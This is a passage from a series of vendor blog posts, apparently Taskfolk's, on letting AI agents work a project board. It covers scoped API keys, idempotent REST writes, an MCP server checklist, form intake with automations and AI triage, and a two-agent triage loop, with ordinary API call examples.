to Ready to code B->>C: automation pings the coding agent C->>B: claim it, move to In progress C->>B: open a PR, move to In review H->>B: approve to Done, or send to Failed ``` ## Let automations do the boring moves Some of the choreography does not need an agent at all. Taskfolk's workflow automations run a "WHEN this happens, IF these conditions, THEN do this" rule on issue events, so the trivial routing can happen on its own. A couple that pair well with the two-agent setup. WHEN an issue is created, IF it came in through a public [intake form](/pricing), THEN drop it in the triage agent's inbox column and add an incoming label. WHEN an issue's status changes to In review, THEN post a comment tagging the reporter so a human knows to look. The coding agent does not have to remember to notify anyone; the automation fires off the status change the agent already made. ![The automations list for a project, each rule an event trigger with conditions and actions](/images/blog/how-to-set-up-automations-list.webp) The line I would draw: let automations handle moves that are pure mechanics with no judgment involved, and leave anything that requires reading the issue to an agent or a person. An automation is great at "always add this label" and bad at "decide whether this is a duplicate." ## The honest limits This is not push. Agents poll their column on an interval; there is no realtime presence or event stream that wakes an agent the instant a card lands. For a triage-and-fix loop that runs on the order of minutes, polling is fine. If you need sub-second reaction, this is not that. You are also composing this yourself. Taskfolk gives you the parts (custom columns, transition rules, WIP limits, automations, the API and MCP server), but there is no template that stamps out a two-agent pipeline. You design the columns, set the transitions, and write the two small agent loops. That is more setup than clicking a button, and it is the honest state of the feature today. And keep a human in the loop while you build trust. The review column exists so a person can catch a bad classification before it turns into bad code. Once you have watched the pipeline run clean for a while, you can decide how much of the middle to automate. Start cautious. The appeal of using status as the handoff is that all of this is inspectable. When something goes wrong, you do not debug a message bus. You open the board, see which column the work is stuck in, and know immediately whose job failed. That legibility is worth more than a cleverer coordination scheme. If you want to try it, the pieces are in every project: add your pipeline columns from the board, set the transitions and WIP limits in project settings, and point your agents at the API. See [the developer docs](/developer) for keys and endpoints. --- # AI agents on your board over the REST API: scopes and safe writes URL: https://taskfolk.ai/blog/let-ai-agents-run-your-board-over-the-rest-api Published: 2026-06-26 Updated: 2026-07-25 Author: The Taskfolk team Tags: API, AI agents, developer, integrations A developer guide to giving an AI agent a scoped Taskfolk API key so it can move cards and file issues without a big blast radius. An AI agent that can read your board is easy to feel good about. An AI agent that can *write* to it is where you should slow down. The moment a model can create issues, move cards, and edit fields, one bad prompt or one loop bug can churn through your project. This is a guide to wiring an agent into Taskfolk over the [REST API](/api/v1/reference) so it can do useful work without that risk hanging over you. The short version: give the agent its own key, scope that key to the smallest set of writes it actually needs, and make its mutations idempotent so a retry never doubles up. Nothing exotic. Just the boring discipline that keeps a helpful agent from becoming an expensive one. ## The auth model, stated plainly Taskfolk authenticates the API with a bearer token. You mint an API key, and every request carries it as `Authorization: Bearer `. There is no OAuth dance for a server-to-server agent, no session cookie, no password. ```bash curl https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues \ -H "Authorization: Bearer tfk_live_XxXxXxXxXxXxXxXxXxXxXxXxXxXxXxXx" ``` A key is a string; whoever holds it can act as that key. That is the whole model, and it means the interesting decisions are about what a key is *allowed* to do, not how you present it. Two things about a key are worth internalizing before you hand one to an agent. First, a key inherits the workspace role of the person who created it, and scopes can only narrow that ceiling. They never widen it. If a member creates a key, that key can never do something the member could not do by hand, no matter which scopes you tick. So the first lever is *who* mints the key. Make an agent's key from an account with the role the agent should have, not from an owner account out of convenience. Second, a key can be pinned to specific projects. A key with a project allow-list simply cannot see or touch anything outside that list. If your agent only works one project, pin it there and the rest of the workspace is invisible to it. You create keys in the workspace developer settings, and the full surface is documented at [/developer](/developer). The key is shown once at creation; store it in your secret manager, not in the repo. ![The API keys tab in Taskfolk's developer settings, where scoped keys are minted](/images/blog/how-to-use-the-rest-api-keys-tab.webp) ## Scopes: read broadly, write narrowly Taskfolk scopes come in two shapes. There are coarse parents (`read`, `write`, `admin`) and granular per-resource scopes (`issues:read`, `issues:write`, `comments:write`, `labels:write`, and so on). A granular write implies the matching read, so `issues:write` already carries `issues:read`. The coarse `write` fans out to the member-level write scopes across resources. Here is the design decision that matters for agents. The coarse `write` scope deliberately does *not* include the admin-tier writes. Editing workspace settings, managing members, managing forms and automations, rotating API keys, wiring webhooks: none of those ride along with `write`. They are reachable only through the explicit granular scope (`workspaces:write`, `members:write`, and friends) or through the coarse `admin` scope. ```mermaid flowchart TD W[write scope] --> I[issues:write] W --> C[comments:write] W --> L[labels:write] AD[admin scope] --> T[admin tier writes] T --> WS[workspaces:write] T --> M[members:write] W -. never reaches .-> T ``` This is intentional. A key that can file bugs should not be one prompt-injection away from editing your billing or minting more keys. So think about the agent's job and scope to exactly that: - An agent that triages incoming bugs and moves them across columns needs `issues:write`. Add `comments:write` if it should leave a note, `labels:write` if it applies labels. That is it. - A read-only reporting agent that summarizes progress needs `read`, or even just `issues:read`. It should never hold a write scope at all. - An agent that only manages one project gets its key pinned to that project on top of the scopes above. Resist the reflex to grant `admin` "so it works." An over-scoped key is the single most common way an agent integration turns into an incident. If a call comes back with a `forbidden` error, that is the scope system doing its job; widen the one scope the endpoint names, not the whole grant. ![The agent hub showing a connected agent with its own identity in the workspace](/images/blog/how-to-connect-an-ai-agent-hub-connected.webp) ## Moving a card and filing an issue The write surface follows the product's shape: workspaces contain projects, projects contain issues. To create an issue you POST to the project's issues collection with `issues:write`: ```bash curl -X POST https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -H "Idempotency-Key: $(uuidgen)" \ -d '{ "type": "bug", "title": "Checkout button unresponsive on Safari", "priority": "high", "labels": ["triage"] }' ``` To move a card, you PATCH the issue and change its status. The PATCH is a sparse merge, so you send only the fields you want to change and leave the rest alone. Moving `WEB-42` from in progress to in review is one small PATCH that sets the status; nothing else on the issue is disturbed. ```bash curl -X PATCH https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues/WEB-42 \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -H "Idempotency-Key: $(uuidgen)" \ -d '{"status": "in_review"}' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues/WEB-42", { method: "PATCH", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", "Idempotency-Key": crypto.randomUUID(), }, body: JSON.stringify({ status: "in_review" }), } ); const issue = await res.json(); ``` ```python import os, uuid, requests res = requests.patch( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues/WEB-42", headers={ "Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}", "Idempotency-Key": str(uuid.uuid4()), }, json={"status": "in_review"}, ) issue = res.json() ``` That sparse-merge behavior is a quiet safety feature. An agent that means to change one field cannot accidentally blank out a description or reassign an owner just because it forgot to include those fields in the body. It sends the delta; the server keeps the rest. A full read-act-verify pass over the wire: ```mermaid sequenceDiagram participant A as Agent participant U as Taskfolk REST API A->>U: GET .../issues?status=... (issues:read) U-->>A: the column, as JSON A->>U: PATCH .../issues/WEB-42 with the status delta + Idempotency-Key U-->>A: the updated record, validated on write A->>U: retry after a timeout, same Idempotency-Key U-->>A: same result, no duplicate card ``` The full set of operations (roughly 150 across issues, comments, labels, custom fields, saved views, docs, forms, automations, and more) is listed in the [API reference](/api/v1/reference). If you are still deciding between calling REST directly and running the agent through the MCP server, we wrote a separate piece on [choosing MCP or the REST API](/blog/mcp-or-rest-api-for-your-agent); this guide assumes you are calling REST. ## Safe writes: idempotency is not optional for agents Humans click a button once. Agents retry. A network blip, a timeout, a framework that re-runs a failed step: any of these can send the same "create issue" call twice, and without protection you get two identical cards. Taskfolk handles this with an idempotency key. Attach an `Idempotency-Key` header to any mutating request. It is a string you choose (a UUID per logical operation works well). The first request with a given key runs the handler and caches the response. A retry with the same key and the same body replays the cached response instead of running again, so the create happens once no matter how many times the agent fires it. The replay window is 24 hours. Two edge cases are worth knowing because they show up in real agent loops: | You send | You get back | What it means | |---|---|---| | Same key, same body | The cached response, replayed | Safe retry; the write ran once | | Same key, *different* body | `409 idempotency_violation` | Your key generation is buggy; two operations shared a key | | Same key while the first request is still in flight | `409 conflict` | The original is still running; wait and retry | Both `409`s are features. They turn a class of silent duplication bugs into loud, catchable errors. The practical rule: generate one idempotency key per intended action, set it on every write, and treat a `409` as a signal about your own retry logic rather than a transient error to hammer through. ## Rate limits and revocation Keys are rate limited per key, per minute, so a runaway loop hits a ceiling instead of your whole workspace. You can also set a lower per-key limit when you create the key, which is a cheap way to cap an experimental agent. ![Setting a per-key rate limit when creating an API key](/images/blog/how-to-track-api-usage-and-audit-logs-keys-rate-limit.webp) Because each agent has its own key, revocation is surgical. If an agent misbehaves, revoke its key and only that agent stops; every other integration keeps running. This is the real payoff of one-key-per-agent: the blast radius of any single key is exactly one agent, and killing it is a single action in the developer settings. ## An honest limit or two This model is deliberately simple, and simple has edges. There is no fine-grained per-field permission; scopes are per resource, not per attribute. If you need an agent that can edit an issue's status but provably never its assignee, the API cannot express that today, and you would enforce it in your own code before the call. Auth is also bearer-token only for programmatic access, which means key hygiene is on you: store them in a secret manager, rotate them, and never log the full token. None of that changes the core recipe, which holds up well: separate key per agent, least-privilege scopes, project pinning where it fits, idempotency keys on every write. Do those four things and an agent can run your board without keeping you up at night. Ready to try it? Open the [developer settings](/developer) to mint a scoped key, and keep the [API reference](/api/v1/reference) next to your editor while you wire it up. --- # Which project tools ship a first-party MCP server? URL: https://taskfolk.ai/blog/project-management-tools-with-a-first-party-mcp-server Published: 2026-06-22 Updated: 2026-07-25 Author: The Taskfolk team Tags: MCP, AI agents, comparison, developer Having AI features is not the same as shipping an MCP server. Here is how to tell first-party from community-built from none, with an honest checklist. Almost every project tracker now has an "AI" badge on its pricing page. A summarizer here, a "write my ticket for me" button there. That is a different thing from letting an AI agent run your project, and the gap between the two is bigger than the marketing lets on. If you want an agent, Claude or Cursor or something you built yourself, to actually create issues, move them across the board, and read the backlog it is working from, the question to ask is narrower than "does this tool have AI." It is: does this tool ship [a Model Context Protocol server](/blog/why-taskfolk-has-an-mcp-server), and did the vendor build it themselves? This is a young keyword and a young space. So this post is meant to be the plain reference: what "first-party MCP server" means, the three tiers you will find when you go looking, and a checklist you can run against any tool before you trust an agent with it. ## AI features and an MCP server are not the same thing An AI feature is something the vendor built for a human to click. It runs inside their product, on their terms. Useful, but closed. You cannot point your own agent at it. An MCP server is the opposite shape. It exposes the tool's actions as a set of tools an outside AI client can discover and call. The agent asks the server "what can you do here," gets a machine-readable list back, and starts working, with no wrapper written by you and no per-endpoint prompt to keep in sync. | | AI feature | MCP server | |---|---|---| | Who drives it | A human clicking a button | Any AI client you connect | | Where it runs | Inside the vendor's UI | Your agent, against their data | | What it exposes | One canned action | A discoverable tool list | | Can you extend it | No | Yes, it is the integration point | The tell is simple. Can you add the tool to your own AI client and have it create and update work on your behalf? If yes, there is an MCP server (or something like it) underneath. If the only AI is a button inside their app, there is not. A summarize button and an agent that runs your sprint are not on the same spectrum. ## First-party vs community-built vs none When you search for a tool's MCP support, you land in one of three tiers. They are not equal, and the difference matters most on the day something breaks. ```mermaid flowchart TD A[Tool claims AI support] --> B{Ships an MCP server?} B -->|no| N[Tier 3: none] B -->|yes| C{Built by the vendor?} C -->|yes| F[Tier 1: first party] C -->|no| G[Tier 2: community wrapper] ``` **First-party.** The vendor builds and runs the MCP server as part of the product. It tracks the real data model, it ships with the same release as the API, and when the vendor adds a field or an endpoint, the agent sees it without you doing anything. Auth is the vendor's own auth, so scopes and permissions mean what they mean everywhere else. This is the tier you want, because the person who owns the data owns the integration. **Community-built.** Someone outside the company wrapped the public API in an MCP server and put it on GitHub. This can be genuinely good, and for some tools it is the only option. But you are now depending on a volunteer to keep pace with a product they do not control. When the API changes, the wrapper lags. When it has a bug, you file an issue and wait. When the maintainer moves on, you inherit it. The auth story is usually a personal API token pasted into a config file, with whatever scope that token happened to have. Fine for a solo experiment, harder to defend on a team. **None.** The tool has AI features but no way for your agent to reach in. You can screen-scrape, or drive the UI with a browser automation, or hand-write against the REST API if there is one. All of that is the exact glue code MCP was invented to delete. If a tool is in this tier and you need agents, it is a tool you will fight. [Most trackers today are in the second or third tier](/blog/mcp-audit-project-management-2026). That is not a knock on them. The spec is new, and building a first-party server is real work that competes with everything else on the roadmap. It just means "has AI" on the box tells you almost nothing about whether your agent can do a day's work there. ## The honest evaluation checklist Before you wire an agent into any tool, run these four checks. They separate a real MCP integration from a demo. **1. Read and write coverage.** A read-only server is a search box for robots. Handy, but it cannot run a project. The useful question is whether the agent can do the full loop: create an issue, comment on it, change its status, set a field, and read the result back. Ask what fraction of the product's actions are exposed as tools. If the tool list is five read operations, the agent can look but not touch. You do not have to take a vendor's word for it. Every MCP server answers a `tools/list` call, so you can count the tools yourself before you connect anything. Against Taskfolk's server, that probe looks like this: ```bash curl -X POST "https://taskfolk.ai/api/mcp/v1/" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{"jsonrpc": "2.0", "id": 1, "method": "tools/list"}' ``` ```javascript const res = await fetch("https://taskfolk.ai/api/mcp/v1/", { method: "POST", headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ jsonrpc: "2.0", id: 1, method: "tools/list" }), }); const { result } = await res.json(); console.log(result.tools.length, "tools"); ``` ```python import os import requests res = requests.post( "https://taskfolk.ai/api/mcp/v1/", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, json={"jsonrpc": "2.0", "id": 1, "method": "tools/list"}, ) print(len(res.json()["result"]["tools"]), "tools") ``` Read the names that come back. Abbreviated, a healthy response from Taskfolk's server looks like this: ```json { "jsonrpc": "2.0", "id": 1, "result": { "tools": [ { "name": "who_am_i", "description": "The identity behind the current API key." }, { "name": "search", "description": "Search issues and docs across the workspace." }, { "name": "list_issues", "description": "List issues in a project." }, { "name": "get_issue", "description": "Issue detail." }, { "name": "create_issue", "description": "Create an issue." }, { "name": "update_issue", "description": "Update an issue." }, { "name": "transition_issue", "description": "Move an issue to a new status." } ] } } ``` That is seven of over 180 tools in total, filtered by your key's scopes. The tell is the verbs: `create_issue` and `transition_issue` are the difference between an agent that can run a project and one that can only look at it. If nothing in the list creates or updates anything, you have found a search box. **2. Hierarchy preservation.** Real project data is a tree, not a flat list. Workspaces contain projects, projects contain issues, issues have subtasks and parent links and labels and custom fields. A thin wrapper often flattens all of that into "here are some tickets," and the agent loses the structure it needs to reason. ![A story with its subtasks nested under it, the structure an agent has to preserve](/images/blog/how-to-organize-work-with-epics-and-subtasks-story-with-subtasks.webp) Check that the server exposes the actual model: that an agent can create a subtask under the right parent, respect an epic, and not orphan work. If the hierarchy does not survive the trip through the tool, the agent will make a mess that a human has to untangle. **3. Scoped auth.** This is the one people skip and regret. An agent with a write-capable key can do damage if the key is broader than the job. The safe pattern is a separate key per agent, with a scope narrowed to exactly what that agent should touch. An agent that files bugs from a form does not need permission to close sprints or change workspace settings. ![Taskfolk's API keys tab, where each key carries its own named scopes](/images/blog/how-to-use-the-rest-api-keys-tab.webp) Ask whether the server supports per-key scopes, whether the tool list the agent sees is filtered to its scopes, and whether you can revoke one key without disturbing the rest. "Paste your personal token" fails this test. **4. Rate limits and revocation.** An agent in a loop can hammer an endpoint far faster than a human ever would. You want a per-key rate limit so one misbehaving agent cannot degrade the workspace for everyone, and you want to be able to pull a key the moment something looks off. A server with no throttle and no per-agent revocation is a server you cannot safely leave running unattended. ![Per-key rate limit setting on a Taskfolk API key](/images/blog/how-to-track-api-usage-and-audit-logs-keys-rate-limit.webp) Run those four against any tool and the tiers sort themselves out fast. ## Where Taskfolk sits, plainly We built [a first-party MCP server](/mcp) into Taskfolk, and it is meant to pass its own checklist. On coverage, the tools are generated from the same registry that defines the public REST API, which is over 180 operations. So the agent's toolset is not a hand-picked subset that drifts, it is the API surface, kept in step by construction. Add an endpoint and the tool shows up. Change a field and the description the model reads updates with it. When an agent calls a tool, the MCP layer dispatches the same REST request in process, so there is no second pipeline for auth, scopes, or rate limits to fall out of sync: ```mermaid sequenceDiagram participant Agent participant MCP as MCP server participant REST as REST pipeline Agent->>MCP: tools/list MCP-->>Agent: tools filtered to the key's scopes Agent->>MCP: tools/call create issue MCP->>REST: same request, in process REST-->>MCP: issue created MCP-->>Agent: result ``` On hierarchy, the tools speak the real model, workspaces to projects to issues to subtasks, with parent links, labels, and custom fields intact. Containment rules that hold for a human hold for the agent too: a subtask needs a parent, an epic cannot be parented under another epic. Here is the same rule visible on the REST side, where a subtask is created under its parent by key: ```bash curl -X POST "https://taskfolk.ai/api/v1/workspaces/your-team/projects/WEB/issues" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" \ -H "Content-Type: application/json" \ -d '{"type": "subtask", "title": "Write the migration", "parent": "WEB-12"}' ``` The agent works inside the same structure your team sees, not a flattened copy of it. On auth, keys are scoped. Taskfolk has coarse scopes (read, write, admin) and per-resource ones (issues, comments, labels, and so on), and the tool list an agent sees is filtered to the scopes its key holds. Mint a separate key per agent, grant only what it needs, revoke one without touching the others. Each key also carries its own configurable per-minute rate limit, so an agent stuck in a loop is capped, not a workspace-wide outage. ![A connected agent in Taskfolk's agent hub, working under its own scoped key](/images/blog/how-to-connect-an-ai-agent-hub-connected.webp) Connecting a client takes one command in Claude Code: ```bash claude mcp add --transport http taskfolk-product https://taskfolk.ai/api/mcp/v1/ \ --header "Authorization: Bearer $TASKFOLK_API_KEY" ``` Or a few lines in Cursor's `~/.cursor/mcp.json`: ```json { "mcpServers": { "taskfolk-product": { "url": "https://taskfolk.ai/api/mcp/v1/", "headers": { "Authorization": "Bearer YOUR_API_KEY" } } } } ``` We are not going to pretend this is finished or that MCP is settled. The spec is still moving, client support is uneven, and the security model is something you have to take seriously rather than assume. We think the answer to a moving spec is to keep the [REST API](/api/v1/reference) as the source of truth and treat [MCP as the convenience layer on top](/blog/mcp-or-rest-api-for-your-agent), not a second system to keep in sync. For clients that do not speak MCP yet, the same workspace is reachable through that REST API and through an installable skill bundle. Same capabilities, more than one front door. ## What to do with this If your team is going to put agents to work, do not shop by the AI badge. Find out whether the tool ships an MCP server, whether the vendor built it, and then run the four checks: coverage, hierarchy, scoped auth, rate limits. A tool can be excellent for humans and still leave your agent stuck at the door. If you want to see what a first-party server looks like when you hold it to that bar, [the developer docs](/developer) have the setup and the full tool list. Point one agent at a real project with a narrow, scoped key and watch where it lands. That is the honest way to tell the tiers apart. --- # Turn a request form into a triaged issue, with no human inbox URL: https://taskfolk.ai/blog/turn-a-request-form-into-a-triaged-issue Published: 2026-06-16 Updated: 2026-07-25 Author: The Taskfolk team Tags: forms, automation, AI triage How to wire a public intake form to a tracked, classified issue: routing defaults, an issue.created automation, and an AI triage first pass. Requests do not stall because nobody wants to do the work. They stall because they land in an inbox, and an inbox is a queue with no owner. A bug report from a customer, an access request from another team, a "can you look at this" from sales, all pile into someone's email, and that person becomes the bottleneck. They forward, they copy-paste into the tracker, they set a priority they are guessing at. The request waits for them to have a free half hour. The fix is not a better inbox. It is deleting the inbox from the path. A public form should create a real, tracked, already-classified issue the moment someone hits submit, with no human relay in between. Here is how that flow works in Taskfolk, and, honestly, where a person still has to stay in the loop. ## The path, end to end An intake form in Taskfolk lives at a public URL: ```http https://taskfolk.ai/f/ ``` You share the token, external submitters do not need an account, and you never expose the workspace. When someone submits, four things happen in order: 1. An issue is created in the project the form is attached to. 2. The form's routing defaults are stamped onto that issue. 3. The workspace's `issue.created` automations run against it. 4. If AI triage is on for that project, it takes a first pass at priority and labels. The same path, drawn: ```mermaid flowchart TD S["External submitter fills the public form"] --> I["Issue created in the form's project"] I --> RD["Routing defaults stamped: assignee, labels, sprint"] RD --> AU["issue.created automations run"] AU --> AI["AI triage takes a first pass, if enabled"] AI --> B["A classified, owned ticket on the board"] ``` By the time you look at the board, the request is a ticket that already has a home, an owner, and a rough classification. Nobody triaged it by hand. Let me walk each step. ## Step one: the form becomes an issue You build the form in the project's Forms tab. Fields come in the usual kinds: short and long text, email, number, a rating, single and multi select, date, file upload, and a few more. Each answer either maps onto an issue field or gets composed into the issue body, so the ticket reads like something a teammate wrote, not a raw form dump. ![Building an intake form in the Forms tab, with field kinds on the left and the live preview on the right](/images/blog/how-to-set-up-a-request-form-builder-build-tab.webp) File uploads work too. An external submitter can attach a screenshot or a log, and it lands as a real attachment on the created issue. Those bytes count against your workspace storage the same as any other upload, which is worth knowing before you point a busy public form at a Free workspace. One deliberate limit: a form enforces one submission per email. That keeps a shared link from turning into a hundred duplicate tickets from the same person hammering submit. If you need repeat submissions from the same address, a form is the wrong tool. ## Step two: routing defaults do the boring sorting Every form carries a set of routing defaults, and this is where most of the "who deals with this" question gets answered without anyone reading the request. A form can set: - the assignee, so the ticket lands on a specific person's plate - one or more labels, so it is tagged on arrival - a sprint, if you want intake to flow into current work - a starting status column, so it drops into "Triage" or "Needs review" instead of the default These are applied at creation. A "Report a bug" form can label everything `bug` and drop it in the QA lead's queue. A "Request access" form can assign the IT owner and start the ticket in a review column. The routing is per form, so you can run several forms into the same project with different defaults and let the form itself do the first sort. Taskfolk checks that each routing id actually belongs to the project before it applies it. If you point a form at a label or assignee that later gets removed, the submission still creates the issue, it just skips the stale default rather than failing. That matters for a public form you are not watching every day. ## Step three: automations catch what a static default cannot Routing defaults are fixed. Automations are conditional, and that is the difference. When the issue is created, Taskfolk fires the workspace's `issue.created` automation rules against it, the same rules you would write for any issue, now reaching form intake too. An automation is a plain "when this, if that, then these" rule. On `issue.created` you can match on the issue's project, type, title text, or existing labels, and then act: set a priority, reassign, add a label, move status. ```mermaid flowchart LR T["issue.created fires"] --> C{"title contains outage?"} C -->|yes| A["raise priority and assign the on call owner"] C -->|no| D["keep the form defaults"] ``` So a form default might tag everything `support`, and an automation can then look at the title, and if it contains "outage" or "down", bump the priority and route it to the on-call assignee. The static default handles the common case; the rule handles the ones that need to jump the queue. ![The automations list for a project, each rule showing its trigger, conditions, and actions](/images/blog/how-to-set-up-automations-list.webp) This runs best-effort and never blocks the submission. If an automation fails, the submitter still gets their confirmation and the issue still exists. You are not trading reliability for cleverness. ## Step four: AI triage takes the first guess The last layer is the one people expect to be magic and should treat as a first draft. [Turn on AI triage for a project](/blog/ai-issue-triage-that-assigns-and-prioritizes), and a newly created issue gets read by the model, which proposes a priority and labels from that project's real palette. It does not invent a label that does not exist; anything off-list is dropped. Enabled per project, it can apply that first pass on its own so the ticket is classified before a human ever opens it. There is also a suggestion-only version on the issue page for the cases you want to keep a hand on. A person clicks, the model suggests priority and labels with a short reason, and the person applies it or ignores it. Same engine, [human in the loop](/docs/human-in-the-loop-approval-for-ai-agents). For a high-volume support form, autonomous triage saves the drudgery. For anything where a wrong priority is expensive, the manual suggestion is the safer default. ![The AI triage suggestions modal, one row per issue with a suggested priority, label chips, and a short reason](/images/blog/how-to-bulk-edit-issues-triage-modal.webp) The honest caveat: AI triage is a classifier, not a judge. It is good at "this is probably a bug, probably medium, probably about billing." It is not good at knowing that this particular customer is about to churn, or that this "small" request touches a system mid-migration. Treat its output as a starting label you can override, because you will need to. ## What still needs a person The pitch is "no human inbox in the middle," and that is true for the routing. It is not true for the judgment. Here is what does not automate away. Someone still decides the routing rules exist. The form defaults and the automations are your judgment, encoded once, applied many times. That is the point, but it is still your call, and a badly aimed rule quietly misroutes every submission until you notice. Someone still owns the reply. A ticket landing in the right column is not an answer to the person who filed it. Taskfolk can send the submitter a confirmation and notify the form owner, but the actual "we are looking at this, here is when" is a human writing to a human. And someone still reviews the edges. The duplicate that slipped through, the request that is really three requests, the angry one that needs a person now. Automation clears the routine 80 percent so your attention lands on the 20 percent that actually needs it. That is the win. It is not the same as the work disappearing. ## Setting it up The short version: create a form in your project's Forms tab, set its routing defaults, write one `issue.created` automation for the exception you care about, and flip on AI triage if the volume justifies it. Start with the routing defaults alone, watch what lands for a week, then add the automation once you can see the pattern. ![The Forms tab listing a project's intake forms with their share links](/images/blog/how-to-set-up-a-request-form-forms-list.webp) If you want the full picture of how the intake and automation pieces fit together, the [forms and automation docs](/developer) cover the field kinds and rule options. ## Picking submissions up over the API If you would rather have an agent read and file submissions instead of a rule, the same issues sit behind [the REST API](/api/v1/reference), so [a scoped agent](/blog/let-ai-agents-run-your-board-over-the-rest-api) can pick them up the moment they are created. Form-created issues are ordinary issues, so a key with the `issues:read` scope can list them, filtered by the label your routing defaults stamp on: ```bash curl "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues?label=bug" \ -H "Authorization: Bearer $TASKFOLK_API_KEY" ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues?label=bug", { headers: { Authorization: `Bearer ${process.env.TASKFOLK_API_KEY}` } }, ); const { data } = await res.json(); for (const issue of data) { console.log(issue.key, issue.priority, issue.title); } ``` ```python import os import requests res = requests.get( "https://taskfolk.ai/api/v1/workspaces/acme/projects/WEB/issues", params={"label": "bug"}, headers={"Authorization": f"Bearer {os.environ['TASKFOLK_API_KEY']}"}, ) for issue in res.json()["data"]: print(issue["key"], issue["priority"], issue["title"]) ``` The list is cursor-paginated; the response carries a `pagination.next_cursor` you pass back as `?cursor=` when a busy form outgrows one page. From there the agent can do whatever your rules cannot: dedupe against existing tickets, ask the submitter a follow-up, or file the request under the epic it actually belongs to. --- # What is agentic project management? A plain guide with an example URL: https://taskfolk.ai/blog/what-is-agentic-project-management Published: 2026-06-11 Updated: 2026-07-28 Author: The Taskfolk team Tags: agentic project management, AI agents, MCP, automation A copilot waits for your prompt. An agent acts on an event. Here is the perceive-plan-act-check loop explained, with one real end-to-end run inside Taskfolk. Most AI tools answer questions when you ask them. Agentic software is the other kind: it notices events, decides what to do, does the work, and checks the result, without a person driving each step. That is the whole idea. The rest of this guide is just making it concrete. It needs making concrete, because the phrase "agentic project management" gets thrown around to mean anything with AI in it. Most of what ships under that label is a copilot: you open a box, type a request, and read the answer. Useful, but it is still you doing the driving. The AI waits. A neighbouring question, [what an AI project manager actually does today](/blog/what-is-an-ai-project-manager), has its own answer. An agent is the part that does not wait. Something happens in your project, and the agent responds to it without a person prompting each step. That distinction is worth being precise about because it changes what you can actually hand off. ## What is the difference between a copilot and an agent? A copilot is reactive. It sits idle until you ask, does the one thing you asked, and goes quiet. Summarize this thread. Draft this spec. Rewrite this description. You are the trigger every single time. An agent runs a loop, and the loop is what makes it an agent. The one most people describe is four steps: perceive, plan, act, check. - Perceive: notice something changed. A form was submitted, an issue was created, a status moved, a comment landed. - Plan: decide what to do about it, given the goal and the current state. - Act: make the change. Create an issue, set a field, write a comment, move a card. - Check: confirm it worked, and either stop or loop again. Side by side, the two look like different species: | | Copilot | Agent | |---|---|---| | Trigger | waits for your prompt | reacts to an event | | Shape of work | one request, one answer | a loop: perceive, plan, act, check | | Output | text for you to act on | changes on the board itself | | Your attention | needed every single time | set the intent once | | View of your workflow | only what you paste in | subscribed to what happens | The interesting word is perceive. A copilot has nothing to perceive because it only exists in the moment you invoke it. An agent is wired to events, so it can start work you never explicitly asked for on that occasion. You set the intent once ("triage new bugs"), and it fires every time a bug arrives. None of this requires the agent to be smart in some general sense. It requires two boring things: a way to see events, and a way to act on the same surface your team uses. That second part is where most "agentic" pitches fall down, so it is worth dwelling on. ## What does an agent need to actually do work? An agent that can only talk is a copilot with extra steps. To close the loop it has to *do* things, and to do things safely it needs the same door your team walks through, with the same rules. In Taskfolk that door is two connected surfaces. There is a public REST API, version 1, with over 180 operations covering the real product: create and update issues, move them across the board, set custom fields, comment, search the backlog, read what is open and what is done. And there is a first-party MCP server that exposes those same capabilities to any MCP-native client, so an agent in Claude or Cursor sees the tools appear without anyone writing a wrapper. We wrote more about that choice in [why we gave Taskfolk an MCP server](/blog/why-taskfolk-has-an-mcp-server), and about [when to pick MCP versus the raw REST API](/blog/mcp-or-rest-api-for-your-agent) for a given agent. Two properties make this usable rather than dangerous. Every agent gets its own scoped API key, so its actions are attributed to it and you can revoke it alone. And the same permission matrix that governs people governs agents: read the whole board, write only where you granted it. A triage agent can label and comment; it cannot delete a project or close a sprint unless you said so. ![Scoped API keys in the Taskfolk developer settings, one key per agent](/images/blog/how-to-use-the-rest-api-keys-tab.webp) That is the honest backbone. Everything below rides on it. If you want the full surface, it lives at [the developer docs](/developer). ## What does an agentic loop look like in practice? Abstractions are cheap. Here is a concrete run you can build in Taskfolk today, using features that ship: a public form, AI triage, the API, and a human approval by status. Say you run a support intake. You publish a branded [intake form](/blog/turn-a-request-form-into-a-triaged-issue) at a public URL. A customer fills it in: "Checkout fails on Safari when I apply a coupon." They hit submit. The whole run looks like this: ```mermaid flowchart TD A["Customer submits the form"] --> B["Issue created ('issue.created' fires)"] B --> C["Perceive: the agent notices the event"] C --> D["Plan: AI triage suggests priority + labels"] D --> E["Act: set fields, draft a plan, move the card"] E --> F["Check: read the record back, then stop"] F --> G["'Needs review' column"] G --> H["A human moves the status = approval"] ``` ![Building the public intake form in Taskfolk's form builder](/images/blog/how-to-set-up-a-request-form-builder-build-tab.webp) Now the same run in slow motion. 1. Perceive. The form submission becomes a real issue in the target project. Taskfolk fires an `issue.created` automation on it, the same event your workflow rules listen to. The agent is subscribed to that event. 2. Plan. The agent reads the new issue's title and description. Taskfolk's [AI triage](/blog/ai-issue-triage-that-assigns-and-prioritizes) takes the same input plus the project's actual label palette and priority scale, and returns a suggestion: priority `high`, labels `checkout` and `browser-safari`, with a one-line reason. Note what it does not do. Triage suggests; it does not silently overwrite your fields. That is deliberate. 3. Act. The agent applies the suggestion through the API: it sets the priority, adds the labels, and posts a comment with a first-pass plan drafted into the issue body. Reproduce on Safari 17, check the coupon-validation path, confirm whether it is Safari-specific or a wider regression. It then moves the card into a column you have named something like "Needs review." ![A WEB issue where the Codex Bot agent moved the status to In Progress and left a comment, every change 